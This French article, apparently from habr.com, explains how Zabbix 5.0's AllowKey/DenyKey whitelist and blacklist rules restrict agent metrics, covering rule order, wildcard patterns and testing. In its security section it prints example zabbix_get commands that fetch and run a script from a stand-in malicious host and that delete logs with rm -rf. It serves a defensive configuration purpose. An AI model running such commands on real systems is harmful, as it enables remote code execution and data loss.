
Prise en charge des listes blanches et noires pour les métriques côté agent
Tikhon Uskov, Ingénieur d'intégration, Zabbix
Problèmes de sécurité des données
Zabbix 5.0 a introduit une nouvelle fonctionnalité qui permet d'améliorer la sécurité dans les systèmes utilisant Zabbix Agent et remplace l'ancien paramètre EnableRemoteCommands.
L'amélioration de la sécurité des systèmes utilisant l'agent est due au fait que l'agent peut exécuter un grand nombre d'actions potentiellement dangereuses.
- L'agent peut collecter pratiquement n'importe quelle information, y compris des informations sensibles ou potentiellement dangereuses, à partir de fichiers de configuration, de fichiers journaux, de fichiers contenant des mots de passe ou de tout autre fichier.
Par exemple, avec l'utilitaire zabbix_get, il est possible d'accéder à la liste des utilisateurs, à leurs répertoires personnels, à des fichiers contenant des mots de passe, etc.

Accès aux données via l'utilitaire zabbix_get
REMARQUE. Les données ne peuvent être obtenues que si l'agent a les droits de lecture sur le fichier correspondant. Mais, par exemple, le fichier /etc/passwd/ est accessible en lecture à tous les utilisateurs.
- L'agent peut également exécuter des commandes potentiellement dangereuses. Par exemple, la clé *system.run[]** permet d'exécuter n'importe quelle commande à distance sur les nœuds du réseau, y compris de lancer depuis l'interface web Zabbix des scripts qui exécutent également des commandes côté agent.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Sur Linux, l'agent s'exécute par défaut sans privilèges root, alors que sur Windows, il fonctionne comme un service sous le compte du système et a un accès illimité au système de fichiers. En conséquence, si aucune modification n'est apportée aux paramètres de Zabbix Agent après l'installation, l'agent a accès au registre, au système de fichiers et peut exécuter des requêtes WMI.
Dans les versions antérieures, le paramètre EnableRemoteCommands=0 ne permettait que de désactiver les métriques avec la clé *system.run[]** et l'exécution de scripts depuis l'interface web, mais il n'était pas possible de restreindre l'accès à des fichiers spécifiques, de permettre ou d'interdire certaines clés installées avec l'agent, ou de limiter l'utilisation de certains paramètres.

L'utilisation du paramètre EnableRemoteCommand dans les anciennes versions de Zabbix
AllowKey/DenyKey
Zabbix 5.0 aide à se protéger contre cet accès non autorisé grâce aux listes blanches et noires pour autoriser et interdire les métriques côté agent.
Dans Zabbix 5.0, toutes les clés, y compris *system.run[]**, autorisés, et deux nouveaux paramètres de configuration de l'agent ont été ajoutés :
AllowKey= — vérifications autorisées ;
DenyKey= — vérifications interdites ;
où — le modèle de nom de clé avec des paramètres, dans lequel des métasymboles (*) sont utilisés.
Les clés AllowKey et DenyKey permettent d'autoriser ou d'interdire des métriques spécifiques selon un certain modèle. Contrairement aux autres paramètres de configuration, le nombre de paramètres AllowKey/DenyKey n'est pas limité. Cela permet de définir clairement ce que l'agent peut faire dans le système grâce à la création d'un arbre de vérifications — clés exécutées, où l'ordre de leur écriture est très important.
Ordre des règles
Les règles sont vérifiées dans l'ordre dans lequel elles sont ajoutées au fichier de configuration. La vérification de la clé selon les règles se fait jusqu'à la première correspondance, et dès qu'une clé de l'élément de données correspond au modèle, elle est autorisée ou interdite. Après cela, la vérification des règles est arrêtée, et les autres clés sont ignorées.
Donc, si un élément correspond à une règle d'autorisation et une règle d'interdiction, le résultat dépendra de la règle qui apparaîtra en premier dans le fichier de configuration.

2 règles différentes avec le même modèle et clé vfs.file.size[/tmp/file]
Ordre d'utilisation des clés AllowKey/DenyKey :
- règles précises,
- règles générales,
- règle d'interdiction.
Par exemple, si vous avez besoin d'accéder à des fichiers dans un certain dossier, vous devez d'abord autoriser l'accès à ceux-ci, puis interdire tout le reste qui ne correspond pas aux permissions établies. Si une règle d'interdiction est utilisée en premier, l'accès au dossier sera interdit.

Ordre correct
S'il est nécessaire d'autoriser l'exécution de 2 utilitaires via *system.run[]**, et si une règle d'interdiction est indiquée en premier, les utilitaires ne seront pas exécutés, car le premier modèle correspondra toujours à n'importe quelle clé, et les règles suivantes seront ignorées.

Ordre incorrect
Modèles
Règles principales
Un modèle est une expression avec des caractères de substitution (wildcard). Le métasymbole (*) correspond à n'importe quel nombre de symboles dans une position donnée. Les métasymboles peuvent être utilisés à la fois dans le nom de clé et dans les paramètres. Par exemple, il est possible de définir strictement le premier paramètre par du texte, et de spécifier le suivant comme wildcard.
Les paramètres doivent être inclus entre crochets [].
system.run[*— incorrectvfs.file*.txt]— incorrectvfs.file.*[*]— correct
Exemples d'utilisation de wildcard.
- Dans le nom de la clé et dans le paramètre. Dans ce cas, la clé ne correspond pas à une clé similaire qui ne contient pas de paramètre, car dans le modèle, nous avons indiqué que nous voulons obtenir une certaine terminaison du nom de la clé et un certain ensemble de paramètres.
- Si le modèle n'utilise pas de crochets, le modèle autorise toutes les clés qui ne contiennent pas de paramètres et interdit toutes les clés avec les paramètres spécifiés.
- Si la clé est complètement écrite, et que les paramètres sont indiqués comme wildcard, elle correspondra à toute clé similaire avec n'importe quels paramètres et ne correspondra pas à une clé sans crochets, c'est-à-dire sera autorisée ou interdite.

Règles de remplissage des paramètres.
- Si l'utilisation d'une clé avec des paramètres est prévue, les paramètres doivent être écrits dans le fichier de configuration. Les paramètres doivent être spécifiés comme métacaractères. Il est nécessaire de restreindre soigneusement l'accès à tout fichier et de prendre en compte les informations que la métrique pourra donner selon les différentes formulations – avec paramètres et sans.

Caractéristiques de l'écriture des clés avec des paramètres
- Si la clé est indiquée avec des paramètres, mais que les paramètres sont facultatifs et spécifiés comme métacaractères, la clé sans paramètres sera autorisée. Par exemple, si vous souhaitez interdire l'obtention d'informations sur la charge CPU et que vous indiquez que la clé system.cpu.load[*] doit être interdite, n'oubliez pas que la clé sans paramètres renverra la valeur moyenne de charge.

Règles de remplissage des paramètres
Remarques
Configuration
- Certaines règles ne peuvent pas être modifiées par l'utilisateur, par exemple, les règles de découverte ou d'auto-enregistrement des agents. Les règles AllowKey/DenyKey n'affectent pas les paramètres suivants :
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
REMARQUE. Si l'administrateur interdit une clé, Zabbix ne fournit pas d'informations sur la raison pour laquelle la métrique ou la clé tombe dans la catégorie ‘NOTSUPPORTED‘. Dans les fichiers log de l'agent, les informations sur les interdictions d'exécution de commandes à distance ne sont également pas affichées. Cela est fait pour des raisons de sécurité, mais peut compliquer le débogage si les métriques tombent dans une catégorie non prise en charge pour diverses raisons..
- Il ne faut pas s'attendre à un ordre déterminé pour le chargement des fichiers de configuration externes (par exemple, par ordre alphabétique).
Utilitaires de ligne de commande
Après avoir configuré les règles, il est nécessaire de s'assurer que tout est configuré correctement.
Vous pouvez choisir l'une des trois options :
- Ajouter une métrique dans Zabbix.
- Tester avec zabbix_agentd. L'agent Zabbix avec l'option -print (-p) affiche toutes les clés (autorisées par défaut), sauf celles qui ne sont pas autorisées par la configuration. Avec l'option -test (-t) pour une clé interdite, cela renverra ‘Unsupported item key‘.
- Tester avec zabbix_getindique que zabbix_get avec l'option -k renverra ‘ZBX_NOTSUPPORTED: Unknown metric‘.
Autoriser ou interdire
Vous pouvez interdire l'accès à un fichier et vérifier, par exemple, avec l'utilitaire zabbix_get, que l'accès au fichier est interdit.

**
REMARQUE. Les guillemets dans le paramètre sont ignorés.
Cependant, l'accès à ce fichier peut être autorisé par un autre chemin. Par exemple, si un lien symbolique y mène.

Il est recommandé de vérifier différentes options d'application des règles définies, ainsi que de tenir compte des possibilités de contourner les interdictions.
Questions et réponses
Question. Pourquoi un schéma de motif aussi complexe avec son propre langage a-t-il été choisi pour décrire les règles, permissions et interdictions ? Pourquoi n'était-il pas possible d'utiliser, par exemple, des expressions régulières comme Zabbix ?
Réponse. C'est une question de performance des regex, car l'agent, en général, est unique et il vérifie un grand nombre de métriques. Les regex sont une opération assez lourde, et nous ne pouvons pas vérifier des milliers de métriques de cette manière. Les jokers sont une solution universelle, largement utilisée et simple..
QuestionLes fichiers Include ne sont-ils pas chargés dans l'ordre alphabétique ?
Réponse. À ma connaissance, il est pratiquement impossible de prédire l'ordre d'application des règles si vous dispersez les règles dans différents fichiers. Je recommande de rassembler toutes les règles AllowKey/DenyKey dans un seul fichier Include, car elles interagissent les unes avec les autres, et d'inclure ce fichier..
QuestionDans Zabbix 5.0, l'option ‘EnableRemoteCommands=‘ est absente du fichier de configuration, et seules les options AllowKey/DenyKey sont disponibles ?
Réponse. Oui, c'est exact..
Merci de votre attention !
Source : habr.com
